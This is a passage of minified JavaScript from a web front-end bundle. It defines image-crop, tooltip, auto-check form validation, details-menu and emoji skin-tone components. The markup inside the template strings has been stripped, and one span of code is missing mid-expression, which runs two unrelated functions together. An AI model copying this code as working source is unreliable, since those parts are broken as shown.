A=d.get(e);b=o.pageX-A.dragStartX,w=o.pageY-A.dragStartY}else if(d.has(e)&&o instanceof TouchEvent){const{pageX:A,pageY:C}=o.changedTouches[0],{dragStartX:$,dragStartY:N}=d.get(e);b=A-$,w=C-N}if(b!==0||w!==0){const A=Math.min(Math.max(0,r.offsetLeft+b),p.width-r.offsetWidth),C=Math.min(Math.max(0,r.offsetTop+w),p.height-r.offsetHeight);r.style.left=`${A}px`,r.style.top=`${C}px`,s(e,{x:A,y:C,width:r.offsetWidth,height:r.offsetHeight})}if(o instanceof MouseEvent)d.set(e,{dragStartX:o.pageX,dragStartY:o.pageY});else if(o instanceof TouchEvent){const{pageX:A,pageY:C}=o.changedTouches[0];d.set(e,{dragStartX:A,dragStartY:C})}}c(n,"moveCropArea");function a(o){const e=o.target;if(!(e instanceof HTMLElement))return;const r=h(e);if(!(r instanceof i))return;const{box:p}=t.get(r)||{};if(!p)return;const b=r.getBoundingClientRect();let w,A,C;if(o instanceof KeyboardEvent){if(o.key==="Escape")return T(r);if(o.key==="-"&&(C=-10),o.key==="="&&(C=10),!C)return;w=p.offsetWidth+C,A=p.offsetHeight+C,v.set(r,{startX:p.offsetLeft,startY:p.offsetTop})}else if(o instanceof MouseEvent){const $=v.get(r);if(!$)return;w=o.pageX-$.startX-b.left-window.pageXOffset,A=o.pageY-$.startY-b.top-window.pageYOffset}else if(o instanceof TouchEvent){const $=v.get(r);if(!$)return;w=o.changedTouches[0].pageX-$.startX-b.left-window.pageXOffset,A=o.changedTouches[0].pageY-$.startY-b.top-window.pageYOffset}w&&A&&y(r,w,A,!(o instanceof KeyboardEvent))}c(a,"updateCropArea");function h(o){const e=o.getRootNode();return e instanceof ShadowRoot?e.host:o}c(h,"getShadowHost");function g(o){const e=o.currentTarget;if(!(e instanceof HTMLElement))return;const r=h(e);if(!(r instanceof i))return;const{box:p}=t.get(r)||{};if(!p)return;const b=o.target;if(b instanceof HTMLElement)if(b.hasAttribute("data-direction")){const w=b.getAttribute("data-direction")||"";r.addEventListener("mousemove",a),r.addEventListener("touchmove",a,{passive:!0}),["nw","se"].indexOf(w)>=0&&r.classList.add("nwse"),["ne","sw"].indexOf(w)>=0&&r.classList.add("nesw"),v.set(r,{startX:p.offsetLeft+(["se","ne"].indexOf(w)>=0?0:p.offsetWidth),startY:p.offsetTop+(["se","sw"].indexOf(w)>=0?0:p.offsetHeight)}),a(o)}else r.addEventListener("mousemove",n),r.addEventListener("touchmove",n,{passive:!0})}c(g,"startUpdate");function y(o,e,r,p=!0){let b=Math.max(Math.abs(e),Math.abs(r),10);const w=v.get(o);if(!w)return;const{box:A,image:C}=t.get(o)||{};if(!A||!C)return;b=Math.min(b,r>0?C.height-w.startY:w.startY,e>0?C.width-w.startX:w.startX);const $=p?Math.round(Math.max(0,e>0?w.startX:w.startX-b)):A.offsetLeft,N=p?Math.round(Math.max(0,r>0?w.startY:w.startY-b)):A.offsetTop;A.style.left=`${$}px`,A.style.top=`${N}px`,A.style.width=`${b}px`,A.style.height=`${b}px`,s(o,{x:$,y:N,width:b,height:b})}c(y,"updateDimensions");function T(o){const{image:e}=t.get(o)||{};if(!e)return;const r=Math.round(e.clientWidth>e.clientHeight?e.clientHeight:e.clientWidth);v.set(o,{startX:(e.clientWidth-r)/2,startY:(e.clientHeight-r)/2}),y(o,r,r)}c(T,"setInitialPosition");function u(o){const e=o.currentTarget;e instanceof i&&(d.delete(e),e.classList.remove("nwse","nesw"),e.removeEventListener("mousemove",a),e.removeEventListener("mousemove",n),e.removeEventListener("touchmove",a),e.removeEventListener("touchmove",n))}c(u,"stopUpdate");function s(o,e){const{image:r}=t.get(o)||{};if(!r)return;const p=r.naturalWidth/r.width;for(const b in e){const w=Math.round(e[b]*p);e[b]=w;const A=o.querySelector(`[data-image-crop-input='${b}']`);A instanceof HTMLInputElement&&(A.value=w.toString())}o.dispatchEvent(new CustomEvent("image-crop-change",{bubbles:!0,detail:e}))}c(s,"fireChangeEvent");class i extends HTMLElement{connectedCallback(){if(t.has(this))return;const e=this.attachShadow({mode:"open"});e.innerHTML=` + + +
    + +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +`;const r=e.querySelector("[data-crop-box]");if(!(r instanceof HTMLElement))return;const p=e.querySelector("img");p instanceof HTMLImageElement&&(t.set(this,{box:r,image:p}),p.addEventListener("load",()=>{this.loaded=!0,T(this)}),this.addEventListener("mouseleave",u),this.addEventListener("touchend",u),this.addEventListener("mouseup",u),r.addEventListener("mousedown",g),r.addEventListener("touchstart",g,{passive:!0}),this.addEventListener("keydown",n),this.addEventListener("keydown",a),this.src&&(p.src=this.src))}static get observedAttributes(){return["src"]}get src(){return this.getAttribute("src")}set src(e){e?this.setAttribute("src",e):this.removeAttribute("src")}get loaded(){return this.hasAttribute("loaded")}set loaded(e){e?this.setAttribute("loaded",""):this.removeAttribute("loaded")}attributeChangedCallback(e,r,p){const{image:b}=t.get(this)||{};e==="src"&&(this.loaded=!1,b&&(b.src=p))}}c(i,"ImageCropElement");const f=null;window.customElements.get("image-crop")||(window.ImageCropElement=i,window.customElements.define("image-crop",i));var E=I(11095),L=I(48030),O=function(o,e,r,p,b){if(p==="m")throw new TypeError("Private method is not writable");if(p==="a"&&!b)throw new TypeError("Private accessor was defined without a setter");if(typeof e=="function"?o!==e||!b:!e.has(o))throw new TypeError("Cannot write private member to an object whose class did not declare it");return p==="a"?b.call(o,r):b?b.value=r:e.set(o,r),r},U=function(o,e,r,p){if(r==="a"&&!p)throw new TypeError("Private accessor was defined without a getter");if(typeof e=="function"?o!==e||!p:!e.has(o))throw new TypeError("Cannot read private member from an object whose class did not declare it");return r==="m"?p:r==="a"?p.call(o):p?p.value:e.get(o)},G,K,D,z,et,Q,st;const nt="tooltip-open",it=6,lt=["tooltip-n","tooltip-s","tooltip-e","tooltip-w","tooltip-ne","tooltip-se","tooltip-nw","tooltip-sw"];class l extends HTMLElement{constructor(){super(...arguments);G.add(this),K.set(this,void 0),D.set(this,"center"),z.set(this,"outside-bottom"),et.set(this,!1)}styles(){return` + :host { + position: absolute; + z-index: 1000000; + padding: .5em .75em; + font: normal normal 11px/1.5 -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji"; + -webkit-font-smoothing: subpixel-antialiased; + color: var(--color-fg-on-emphasis); + text-align: center; + text-decoration: none; + text-shadow: none; + text-transform: none; + letter-spacing: normal; + word-wrap: break-word; + white-space: pre; + background: var(--color-neutral-emphasis-plus); + border-radius: 6px; + opacity: 0; + max-width: 250px; + word-wrap: break-word; + white-space: normal; + width: max-content; + } + + :host:before{ + position: absolute; + z-index: 1000001; + color: var(--color-neutral-emphasis-plus); + content: ""; + border: 6px solid transparent; + opacity: 0 + } + + @keyframes tooltip-appear { + from { + opacity: 0 + } + to { + opacity: 1 + } + } + + :host:after{ + position: absolute; + display: block; + right: 0; + left: 0; + height: 12px; + content: "" + } + + :host(.${nt}), + :host(.${nt}):before { + animation-name: tooltip-appear; + animation-duration: .1s; + animation-fill-mode: forwards; + animation-timing-function: ease-in; + animation-delay: .4s + } + + :host(.tooltip-s):before, + :host(.tooltip-n):before { + right: 50%; + margin-right: -${it}px; + } + + :host(.tooltip-s):before, + :host(.tooltip-se):before, + :host(.tooltip-sw):before { + bottom: 100%; + border-bottom-color: var(--color-neutral-emphasis-plus) + } + + :host(.tooltip-s):after, + :host(.tooltip-se):after, + :host(.tooltip-sw):after { + bottom: 100% + } + + :host(.tooltip-n):before, + :host(.tooltip-ne):before, + :host(.tooltip-nw):before { + top: 100%; + border-top-color: var(--color-neutral-emphasis-plus) + } + + :host(.tooltip-n):after, + :host(.tooltip-ne):after, + :host(.tooltip-nw):after { + top: 100% + } + + :host(.tooltip-se):before, + :host(.tooltip-ne):before { + left: 0; + margin-left: ${it}px; + } + + :host(.tooltip-sw):before, + :host(.tooltip-nw):before { + right: 0; + margin-right: ${it}px; + } + + :host(.tooltip-w):before { + top: 50%; + bottom: 50%; + left: 100%; + margin-top: -6px; + border-left-color: var(--color-neutral-emphasis-plus) + } + + :host(.tooltip-e):before { + top: 50%; + right: 100%; + bottom: 50%; + margin-top: -6px; + border-right-color: var(--color-neutral-emphasis-plus) + } + `}get htmlFor(){return this.getAttribute("for")||""}set htmlFor(e){this.setAttribute("for",e)}get type(){return this.getAttribute("data-type")==="label"?"label":"description"}set type(e){this.setAttribute("data-type",e)}get direction(){return this.getAttribute("data-direction")||"s"}set direction(e){this.setAttribute("data-direction",e)}get control(){return this.ownerDocument.getElementById(this.htmlFor)}connectedCallback(){var e;if(!this.shadowRoot){const p=this.attachShadow({mode:"open"});p.innerHTML=` + + + `}if(this.hidden=!0,O(this,et,!0,"f"),this.id||(this.id=`tooltip-${Date.now()}-${(Math.random()*1e4).toFixed(0)}`),!this.control)return;this.setAttribute("role","tooltip"),(e=U(this,K,"f"))===null||e===void 0||e.abort(),O(this,K,new AbortController,"f");const{signal:r}=U(this,K,"f");this.addEventListener("mouseleave",this,{signal:r}),this.control.addEventListener("mouseenter",this,{signal:r}),this.control.addEventListener("mouseleave",this,{signal:r}),this.control.addEventListener("focus",this,{signal:r}),this.control.addEventListener("blur",this,{signal:r}),this.ownerDocument.addEventListener("keydown",this,{signal:r}),U(this,G,"m",Q).call(this)}disconnectedCallback(){var e;(e=U(this,K,"f"))===null||e===void 0||e.abort()}handleEvent(e){!this.control||((e.type==="mouseenter"||e.type==="focus")&&this.hidden?this.hidden=!1:e.type==="blur"?this.hidden=!0:e.type==="mouseleave"&&e.relatedTarget!==this.control&&e.relatedTarget!==this?this.hidden=!0:e.type==="keydown"&&e.key==="Escape"&&!this.hidden&&(this.hidden=!0))}attributeChangedCallback(e){if(e==="id"||e==="data-type"){if(!this.id||!this.control)return;if(this.type==="label")this.control.setAttribute("aria-labelledby",this.id);else{let r=this.control.getAttribute("aria-describedby");r?r=`${r} ${this.id}`:r=this.id,this.control.setAttribute("aria-describedby",r)}}else if(this.isConnected&&e==="hidden")U(this,G,"m",Q).call(this);else if(e==="data-direction"){this.classList.remove(...lt);const r=this.direction;r==="n"?(O(this,D,"center","f"),O(this,z,"outside-top","f")):r==="ne"?(O(this,D,"start","f"),O(this,z,"outside-top","f")):r==="e"?(O(this,D,"center","f"),O(this,z,"outside-right","f")):r==="se"?(O(this,D,"start","f"),O(this,z,"outside-bottom","f")):r==="s"?(O(this,D,"center","f"),O(this,z,"outside-bottom","f")):r==="sw"?(O(this,D,"end","f"),O(this,z,"outside-bottom","f")):r==="w"?(O(this,D,"center","f"),O(this,z,"outside-left","f")):r==="nw"&&(O(this,D,"end","f"),O(this,z,"outside-top","f"))}}}c(l,"ToolTipElement"),K=new WeakMap,D=new WeakMap,z=new WeakMap,et=new WeakMap,G=new WeakSet,Q=c(function(){if(this.hidden)this.classList.remove(nt,...lt);else{this.classList.add(nt);for(const e of this.ownerDocument.querySelectorAll(this.tagName))e!==this&&(e.hidden=!0);U(this,G,"m",st).call(this)}},"_ToolTipElement_update"),st=c(function(){if(!this.control||!U(this,et,"f")||this.hidden)return;const e=10;this.style.left="0px";const r=(0,L.N)(this,this.control,{side:U(this,z,"f"),align:U(this,D,"f"),anchorOffset:e}),p=r.anchorSide,b=r.anchorAlign;this.style.top=`${r.top}px`,this.style.left=`${r.left}px`;let w="s";p==="outside-left"?w="w":p==="outside-right"?w="e":p==="outside-top"?b==="center"?w="n":b==="start"?w="ne":w="nw":b==="center"?w="s":b==="start"?w="se":w="sw",this.classList.add(`tooltip-${w}`)},"_ToolTipElement_updatePosition"),l.observedAttributes=["data-type","data-direction","id","hidden"],window.customElements.get("tool-tip")||(window.ToolTipElement=l,window.customElements.define("tool-tip",l))},38257:()=>{function j(k,m=0,{start:v=!0,middle:d=!0,once:t=!1}={}){var n=0,a,h=!1,g=c(function y(...T){if(!h){var u=Date.now()-n;n=Date.now(),v?(v=!1,k(...T),t&&y.cancel()):(d&&ua=g,"setValidity");m.dispatchEvent(new CustomEvent("auto-check-start",{bubbles:!0,detail:{setValidity:h}})),v.required&&m.setCustomValidity(a)}c(_,"setLoadingState");function W(){return"AbortController"in window?new AbortController:{signal:null,abort(){}}}c(W,"makeAbortController");async function S(k,m,v){try{const d=await fetch(m,v);return k.dispatchEvent(new CustomEvent("load")),k.dispatchEvent(new CustomEvent("loadend")),d}catch(d){throw d.name!=="AbortError"&&(k.dispatchEvent(new CustomEvent("error")),k.dispatchEvent(new CustomEvent("loadend"))),d}}c(S,"fetchWithNetworkEvents");async function B(k){const m=k.input;if(!m)return;const v=k.src,d=k.csrf,t=I.get(k);if(!v||!d||!t){k.required&&m.setCustomValidity("");return}if(!m.value.trim()){k.required&&m.setCustomValidity("");return}const n=new FormData;n.append("authenticity_token",d),n.append("value",m.value),m.dispatchEvent(new CustomEvent("auto-check-send",{bubbles:!0,detail:{body:n}})),t.controller?t.controller.abort():k.dispatchEvent(new CustomEvent("loadstart")),t.controller=W();try{const a=await S(k,v,{credentials:"same-origin",signal:t.controller.signal,method:"POST",body:n});a.ok?H(a,m,k.required):M(a,m,k.required),t.controller=null,m.dispatchEvent(new CustomEvent("auto-check-complete",{bubbles:!0}))}catch(a){a.name!=="AbortError"&&(t.controller=null,m.dispatchEvent(new CustomEvent("auto-check-complete",{bubbles:!0})))}}c(B,"check");function H(k,m,v){v&&m.setCustomValidity(""),m.dispatchEvent(new CustomEvent("auto-check-success",{bubbles:!0,detail:{response:k.clone()}}))}c(H,"processSuccess");function M(k,m,v){let d="Validation failed";const t=c(n=>d=n,"setValidity");m.dispatchEvent(new CustomEvent("auto-check-error",{bubbles:!0,detail:{response:k.clone(),setValidity:t}})),v&&m.setCustomValidity(d)}c(M,"processFailure"),window.customElements.get("auto-check")||(window.AutoCheckElement=x,window.customElements.define("auto-check",x));var R=null},11095:()=>{class j extends HTMLElement{get preload(){return this.hasAttribute("preload")}set preload(s){s?this.setAttribute("preload",""):this.removeAttribute("preload")}get src(){return this.getAttribute("src")||""}set src(s){this.setAttribute("src",s)}connectedCallback(){this.hasAttribute("role")||this.setAttribute("role","menu");const s=this.parentElement;if(!s)return;const i=s.querySelector("summary");i&&(i.setAttribute("aria-haspopup","menu"),i.hasAttribute("role")||i.setAttribute("role","button"));const f=[x(s,"compositionstart",E=>y(this,E)),x(s,"compositionend",E=>y(this,E)),x(s,"click",E=>k(s,E)),x(s,"change",E=>k(s,E)),x(s,"keydown",E=>d(s,this,E)),x(s,"toggle",()=>_(s,this),{once:!0}),x(s,"toggle",()=>S(s)),this.preload?x(s,"mouseover",()=>_(s,this),{once:!0}):I,...W(s)];P.set(this,{subscriptions:f,loaded:!1,isComposing:!1})}disconnectedCallback(){const s=P.get(this);if(!!s){P.delete(this);for(const i of s.subscriptions)i.unsubscribe()}}}c(j,"DetailsMenuElement");const P=new WeakMap,I={unsubscribe(){}};function x(u,s,i,f=!1){return u.addEventListener(s,i,f),{unsubscribe:()=>{u.removeEventListener(s,i,f)}}}c(x,"fromEvent");function _(u,s){const i=s.getAttribute("src");if(!i)return;const f=P.get(s);if(!f||f.loaded)return;f.loaded=!0;const E=s.querySelector("include-fragment");E&&!E.hasAttribute("src")&&(E.addEventListener("loadend",()=>B(u)),E.setAttribute("src",i))}c(_,"loadFragment");function W(u){let s=!1;const i=c(()=>s=!0,"onmousedown"),f=c(()=>s=!1,"onkeydown"),E=c(()=>{!u.hasAttribute("open")||B(u)||s||H(u)},"ontoggle");return[x(u,"mousedown",i),x(u,"keydown",f),x(u,"toggle",E)]}c(W,"focusOnOpen");function S(u){if(!!u.hasAttribute("open"))for(const s of document.querySelectorAll("details[open] > details-menu")){const i=s.closest("details");i&&i!==u&&!i.contains(u)&&i.removeAttribute("open")}}c(S,"closeCurrentMenu");function B(u){if(!u.hasAttribute("open"))return!1;const s=u.querySelector("details-menu [autofocus]");return s?(s.focus(),!0):!1}c(B,"autofocus");function H(u){const s=document.activeElement;if(s&&t(s)&&u.contains(s))return;const i=M(u,!0);i&&i.focus()}c(H,"focusFirstItem");function M(u,s){const i=Array.from(u.querySelectorAll('[role^="menuitem"]:not([hidden]):not([disabled]):not([aria-disabled="true"])')),f=document.activeElement,E=f instanceof HTMLElement?i.indexOf(f):-1,L=s?i[E+1]:i[E-1],O=s?i[0]:i[i.length-1];return L||O}c(M,"sibling");const R=navigator.userAgent.match(/Macintosh/);function k(u,s){const i=s.target;if(i instanceof Element&&i.closest("details")===u){if(s.type==="click"){const f=i.closest('[role="menuitem"], [role="menuitemradio"]');if(!f)return;const E=f.querySelector("input");if(f.tagName==="LABEL"&&i===E)return;f.tagName==="LABEL"&&E&&!E.checked||v(f,u)}else if(s.type==="change"){const f=i.closest('[role="menuitemradio"], [role="menuitemcheckbox"]');f&&v(f,u)}}}c(k,"shouldCommit");function m(u,s){for(const i of s.querySelectorAll('[role="menuitemradio"], [role="menuitemcheckbox"]')){const f=i.querySelector('input[type="radio"], input[type="checkbox"]');let E=(i===u).toString();f instanceof HTMLInputElement&&(E=f.indeterminate?"mixed":f.checked.toString()),i.setAttribute("aria-checked",E)}}c(m,"updateChecked");function v(u,s){if(u.hasAttribute("disabled")||u.getAttribute("aria-disabled")==="true")return;const i=u.closest("details-menu");!i||!i.dispatchEvent(new CustomEvent("details-menu-select",{cancelable:!0,detail:{relatedTarget:u}}))||(a(u,s),m(u,s),u.getAttribute("role")!=="menuitemcheckbox"&&n(s),i.dispatchEvent(new CustomEvent("details-menu-selected",{detail:{relatedTarget:u}})))}c(v,"commit");function d(u,s,i){if(!(i instanceof KeyboardEvent)||u.querySelector("details[open]"))return;const f=P.get(s);if(!f||f.isComposing)return;const E=i.target instanceof Element&&i.target.tagName==="SUMMARY";switch(i.key){case"Escape":u.hasAttribute("open")&&(n(u),i.preventDefault(),i.stopPropagation());break;case"ArrowDown":{E&&!u.hasAttribute("open")&&u.setAttribute("open","");const L=M(u,!0);L&&L.focus(),i.preventDefault()}break;case"ArrowUp":{E&&!u.hasAttribute("open")&&u.setAttribute("open","");const L=M(u,!1);L&&L.focus(),i.preventDefault()}break;case"n":if(R&&i.ctrlKey){const L=M(u,!0);L&&L.focus(),i.preventDefault()}break;case"p":if(R&&i.ctrlKey){const L=M(u,!1);L&&L.focus(),i.preventDefault()}break;case" ":case"Enter":{const L=document.activeElement;L instanceof HTMLElement&&t(L)&&L.closest("details")===u&&(i.preventDefault(),i.stopPropagation(),L.click())}break}}c(d,"keydown");function t(u){const s=u.getAttribute("role");return s==="menuitem"||s==="menuitemcheckbox"||s==="menuitemradio"}c(t,"isMenuItem");function n(u){if(!u.hasAttribute("open"))return;u.removeAttribute("open");const i=u.querySelector("summary");i&&i.focus()}c(n,"close");function a(u,s){const i=s.querySelector("[data-menu-button]");if(!i)return;const f=h(u);if(f)i.textContent=f;else{const E=g(u);E&&(i.innerHTML=E)}}c(a,"updateLabel");function h(u){if(!u)return null;const s=u.hasAttribute("data-menu-button-text")?u:u.querySelector("[data-menu-button-text]");return s?s.getAttribute("data-menu-button-text")||s.textContent:null}c(h,"labelText");function g(u){if(!u)return null;const s=u.hasAttribute("data-menu-button-contents")?u:u.querySelector("[data-menu-button-contents]");return s?s.innerHTML:null}c(g,"labelHTML");function y(u,s){const i=P.get(u);!i||(i.isComposing=s.type==="compositionstart")}c(y,"trackComposition");var T=null;window.customElements.get("details-menu")||(window.DetailsMenuElement=j,window.customElements.define("details-menu",j))},73921:()=>{function j(){const t=/\bWindows NT 6.1\b/.test(navigator.userAgent),n=/\bWindows NT 6.2\b/.test(navigator.userAgent),a=/\bWindows NT 6.3\b/.test(navigator.userAgent),h=/\bFreeBSD\b/.test(navigator.userAgent),g=/\bLinux\b/.test(navigator.userAgent)&&!/\bAndroid\b/.test(navigator.userAgent);return!(t||n||a||g||h)}c(j,"isEmojiSupported");const P=new Set(["\u{1F44B}","\u{1F91A}","\u{1F590}\uFE0F","\u270B","\u{1F596}","\u{1F44C}","\u{1F90F}","\u270C\uFE0F","\u{1F91E}","\u{1F91F}","\u{1F918}","\u{1F919}","\u{1F448}","\u{1F449}","\u{1F446}","\u{1F595}","\u{1F447}","\u261D\uFE0F","\u{1F44D}","\u{1F44E}","\u270A","\u{1F44A}","\u{1F91B}","\u{1F91C}","\u{1F44F}","\u{1F64C}","\u{1F450}","\u{1F932}","\u{1F64F}","\u270D\uFE0F","\u{1F485}","\u{1F933}","\u{1F4AA}","\u{1F9B5}","\u{1F9B6}","\u{1F442}","\u{1F9BB}","\u{1F443}","\u{1F476}","\u{1F9D2}","\u{1F466}","\u{1F467}","\u{1F9D1}","\u{1F471}","\u{1F468}","\u{1F9D4}","\u{1F471}\u200D\u2642\uFE0F","\u{1F468}\u200D\u{1F9B0}","\u{1F468}\u200D\u{1F9B1}","\u{1F468}\u200D\u{1F9B3}","\u{1F468}\u200D\u{1F9B2}","\u{1F469}","\u{1F471}\u200D\u2640\uFE0F","\u{1F469}\u200D\u{1F9B0}","\u{1F469}\u200D\u{1F9B1}","\u{1F469}\u200D\u{1F9B3}","\u{1F469}\u200D\u{1F9B2}","\u{1F9D3}","\u{1F474}","\u{1F475}","\u{1F64D}","\u{1F64D}\u200D\u2642\uFE0F","\u{1F64D}\u200D\u2640\uFE0F","\u{1F64E}","\u{1F64E}\u200D\u2642\uFE0F","\u{1F64E}\u200D\u2640\uFE0F","\u{1F645}","\u{1F645}\u200D\u2642\uFE0F","\u{1F645}\u200D\u2640\uFE0F","\u{1F646}","\u{1F646}\u200D\u2642\uFE0F","\u{1F646}\u200D\u2640\uFE0F","\u{1F481}","\u{1F481}\u200D\u2642\uFE0F","\u{1F481}\u200D\u2640\uFE0F","\u{1F64B}","\u{1F64B}\u200D\u2642\uFE0F","\u{1F64B}\u200D\u2640\uFE0F","\u{1F9CF}","\u{1F9CF}\u200D\u2642\uFE0F","\u{1F9CF}\u200D\u2640\uFE0F","\u{1F647}","\u{1F647}\u200D\u2642\uFE0F","\u{1F647}\u200D\u2640\uFE0F","\u{1F926}","\u{1F926}\u200D\u2642\uFE0F","\u{1F926}\u200D\u2640\uFE0F","\u{1F937}","\u{1F937}\u200D\u2642\uFE0F","\u{1F937}\u200D\u2640\uFE0F","\u{1F468}\u200D\u2695\uFE0F","\u{1F469}\u200D\u2695\uFE0F","\u{1F468}\u200D\u{1F393}","\u{1F469}\u200D\u{1F393}","\u{1F468}\u200D\u{1F3EB}","\u{1F469}\u200D\u{1F3EB}","\u{1F468}\u200D\u2696\uFE0F","\u{1F469}\u200D\u2696\uFE0F","\u{1F468}\u200D\u{1F33E}","\u{1F469}\u200D\u{1F33E}","\u{1F468}\u200D\u{1F373}","\u{1F469}\u200D\u{1F373}","\u{1F468}\u200D\u{1F527}","\u{1F469}\u200D\u{1F527}","\u{1F468}\u200D\u{1F3ED}","\u{1F469}\u200D\u{1F3ED}","\u{1F468}\u200D\u{1F4BC}","\u{1F469}\u200D\u{1F4BC}","\u{1F468}\u200D\u{1F52C}","\u{1F469}\u200D\u{1F52C}","\u{1F468}\u200D\u{1F4BB}","\u{1F469}\u200D\u{1F4BB}","\u{1F468}\u200D\u{1F3A4}","\u{1F469}\u200D\u{1F3A4}","\u{1F468}\u200D\u{1F3A8}","\u{1F469}\u200D\u{1F3A8}","\u{1F468}\u200D\u2708\uFE0F","\u{1F469}\u200D\u2708\uFE0F","\u{1F468}\u200D\u{1F680}","\u{1F469}\u200D\u{1F680}","\u{1F468}\u200D\u{1F692}","\u{1F469}\u200D\u{1F692}","\u{1F46E}","\u{1F46E}\u200D\u2642\uFE0F","\u{1F46E}\u200D\u2640\uFE0F","\u{1F575}\uFE0F","\u{1F575}\uFE0F\u200D\u2642\uFE0F","\u{1F575}\uFE0F\u200D\u2640\uFE0F","\u{1F482}","\u{1F482}\u200D\u2642\uFE0F","\u{1F482}\u200D\u2640\uFE0F","\u{1F477}","\u{1F477}\u200D\u2642\uFE0F","\u{1F477}\u200D\u2640\uFE0F","\u{1F934}","\u{1F478}","\u{1F473}","\u{1F473}\u200D\u2642\uFE0F","\u{1F473}\u200D\u2640\uFE0F","\u{1F472}","\u{1F9D5}","\u{1F935}","\u{1F470}","\u{1F930}","\u{1F931}","\u{1F47C}","\u{1F385}","\u{1F936}","\u{1F9B8}","\u{1F9B8}\u200D\u2642\uFE0F","\u{1F9B8}\u200D\u2640\uFE0F","\u{1F9B9}","\u{1F9B9}\u200D\u2642\uFE0F","\u{1F9B9}\u200D\u2640\uFE0F","\u{1F9D9}","\u{1F9D9}\u200D\u2642\uFE0F","\u{1F9D9}\u200D\u2640\uFE0F","\u{1F9DA}","\u{1F9DA}\u200D\u2642\uFE0F","\u{1F9DA}\u200D\u2640\uFE0F","\u{1F9DB}","\u{1F9DB}\u200D\u2642\uFE0F","\u{1F9DB}\u200D\u2640\uFE0F","\u{1F9DC}","\u{1F9DC}\u200D\u2642\uFE0F","\u{1F9DC}\u200D\u2640\uFE0F","\u{1F9DD}","\u{1F9DD}\u200D\u2642\uFE0F","\u{1F9DD}\u200D\u2640\uFE0F","\u{1F486}","\u{1F486}\u200D\u2642\uFE0F","\u{1F486}\u200D\u2640\uFE0F","\u{1F487}","\u{1F487}\u200D\u2642\uFE0F","\u{1F487}\u200D\u2640\uFE0F","\u{1F6B6}","\u{1F6B6}\u200D\u2642\uFE0F","\u{1F6B6}\u200D\u2640\uFE0F","\u{1F9CD}","\u{1F9CD}\u200D\u2642\uFE0F","\u{1F9CD}\u200D\u2640\uFE0F","\u{1F9CE}","\u{1F9CE}\u200D\u2642\uFE0F","\u{1F9CE}\u200D\u2640\uFE0F","\u{1F468}\u200D\u{1F9AF}","\u{1F469}\u200D\u{1F9AF}","\u{1F468}\u200D\u{1F9BC}","\u{1F469}\u200D\u{1F9BC}","\u{1F468}\u200D\u{1F9BD}","\u{1F469}\u200D\u{1F9BD}","\u{1F3C3}","\u{1F3C3}\u200D\u2642\uFE0F","\u{1F3C3}\u200D\u2640\uFE0F","\u{1F483}","\u{1F57A}","\u{1F574}\uFE0F","\u{1F9D6}","\u{1F9D6}\u200D\u2642\uFE0F","\u{1F9D6}\u200D\u2640\uFE0F","\u{1F9D7}","\u{1F9D7}\u200D\u2642\uFE0F","\u{1F9D7}\u200D\u2640\uFE0F","\u{1F3C7}","\u{1F3C2}","\u{1F3CC}\uFE0F","\u{1F3CC}\uFE0F\u200D\u2642\uFE0F","\u{1F3CC}\uFE0F\u200D\u2640\uFE0F","\u{1F3C4}","\u{1F3C4}\u200D\u2642\uFE0F","\u{1F3C4}\u200D\u2640\uFE0F","\u{1F6A3}","\u{1F6A3}\u200D\u2642\uFE0F","\u{1F6A3}\u200D\u2640\uFE0F","\u{1F3CA}","\u{1F3CA}\u200D\u2642\uFE0F","\u{1F3CA}\u200D\u2640\uFE0F","\u26F9\uFE0F","\u26F9\uFE0F\u200D\u2642\uFE0F","\u26F9\uFE0F\u200D\u2640\uFE0F","\u{1F3CB}\uFE0F","\u{1F3CB}\uFE0F\u200D\u2642\uFE0F","\u{1F3CB}\uFE0F\u200D\u2640\uFE0F","\u{1F6B4}","\u{1F6B4}\u200D\u2642\uFE0F","\u{1F6B4}\u200D\u2640\uFE0F","\u{1F6B5}","\u{1F6B5}\u200D\u2642\uFE0F","\u{1F6B5}\u200D\u2640\uFE0F","\u{1F938}","\u{1F938}\u200D\u2642\uFE0F","\u{1F938}\u200D\u2640\uFE0F","\u{1F93D}","\u{1F93D}\u200D\u2642\uFE0F","\u{1F93D}\u200D\u2640\uFE0F","\u{1F93E}","\u{1F93E}\u200D\u2642\uFE0F","\u{1F93E}\u200D\u2640\uFE0F","\u{1F939}","\u{1F939}\u200D\u2642\uFE0F","\u{1F939}\u200D\u2640\uFE0F","\u{1F9D8}","\u{1F9D8}\u200D\u2642\uFE0F","\u{1F9D8}\u200D\u2640\uFE0F","\u{1F6C0}","\u{1F6CC}","\u{1F9D1}\u200D\u{1F91D}\u200D\u{1F9D1}","\u{1F46D}","\u{1F46B}","\u{1F46C}"]);function I(t){return P.has(t)}c(I,"isModifiable");const x="\u200D",_=65039;function W(t,n){const a=B(t);if(!I(a))return t;const h=R(n);return h?a.split(x).map(g=>I(g)?H(g,h):g).join(x):t}c(W,"applyTone");function S(t,n){const a=B(t);if(!I(a))return t;const h=n.map(g=>R(g));return a.split(x).map(g=>{if(!I(g))return g;const y=h.shift();return y?H(g,y):g}).join(x)}c(S,"applyTones");function B(t){return[...t].filter(n=>!M(n.codePointAt(0))).join("")}c(B,"removeTone");function H(t,n){const a=[...t].map(h=>h.codePointAt(0));return a[1]&&(M(a[1])||a[1]===_)?a[1]=n:a.splice(1,0,n),String.fromCodePoint(...a)}c(H,"tint");function M(t){return t>=127995&&t<=127999}c(M,"isTone");function R(t){switch(t){case 1:return 127995;case 2:return 127996;case 3:return 127997;case 4:return 127998;case 5:return 127999;default:return null}}c(R,"toneModifier");class k extends HTMLElement{get image(){return this.firstElementChild instanceof HTMLImageElement?this.firstElementChild:null}get tone(){return(this.getAttribute("tone")||"").split(" ").map(n=>{const a=parseInt(n,10);return a>=0&&a<=5?a:0}).join(" ")}set tone(n){this.setAttribute("tone",n)}connectedCallback(){if(this.image===null&&!j()){const n=this.getAttribute("fallback-src");if(n){this.textContent="";const a=v(this);a.src=n,this.appendChild(a)}}this.hasAttribute("tone")&&m(this)}static get observedAttributes(){return["tone"]}attributeChangedCallback(n){switch(n){case"tone":m(this);break}}}c(k,"GEmojiElement");function m(t){if(t.image)return;const n=t.tone.split(" ").map(a=>parseInt(a,10));if(n.length===0)t.textContent=B(t.textContent||"");else if(n.length===1){const a=n[0];t.textContent=a===0?B(t.textContent||""):W(t.textContent||"",a)}else t.textContent=S(t.textContent||"",n)}c(m,"updateTone");function v(t){const 